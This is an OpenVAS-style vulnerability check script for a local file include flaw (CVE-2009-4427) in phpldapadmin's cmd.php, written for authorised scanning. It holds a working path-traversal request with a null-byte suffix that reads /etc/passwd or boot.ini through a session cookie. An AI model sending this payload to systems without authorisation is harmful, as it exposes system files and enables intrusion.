phpldapadmin 'cmd.php' Local File Include Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100396");
  script_version("2023-07-27T05:05:08+0000");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2009-12-15 19:11:56 +0100 (Tue, 15 Dec 2009)");
  script_cve_id("CVE-2009-4427");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_name("phpldapadmin 'cmd.php' Local File Include Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/37327");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("phpldapadmin_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("phpldapadmin/installed");

  script_tag(name:"summary", value:"phpldapadmin is prone to a local file-include vulnerability because it
fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"impact", value:"Exploiting this issue may allow an attacker to compromise the
application and the underlying system, other attacks are also
possible.");

  script_tag(name:"affected", value:"phpldapadmin 1.1.0.5 is vulnerable, other versions may also be
affected.");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");


port = http_get_port(default:80);

if(!version = get_kb_item(string("www/", port, "/phpldapadmin")))exit(0);
if(!matches = eregmatch(string:version, pattern:"^(.+) under (/.*)$"))exit(0);

dir = matches[2];
if(isnull(dir))exit(0);

  url = string(dir, "/index.php");
  req = http_get(item:url, port:port);
  buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
  if( buf == NULL )exit(0);

  c = eregmatch(pattern: "PLASESSID=([^;]+);", string: buf);
  if(isnull(c))exit(0);

  host = get_host_name();
  files = make_list("boot.ini","etc/passwd");

  foreach file (files) {
    req = string("GET ", dir,"/cmd.php?cmd=../../../../../../../../../",file,"%00 HTTP/1.1\r\nHost: ",
                  host, ":", port,"\r\nCookie: PLASESSID=", c[1],"\r\n\r\n");
    buf = http_keepalive_send_recv(port:port, data:req);
    if( buf == NULL )continue;

    if(egrep(pattern: "(root:.*:0:[01]:|\[boot loader\])", string: buf, icase: TRUE)) {

      security_message(port:port);
      exit(0);

    }
  }
exit(0);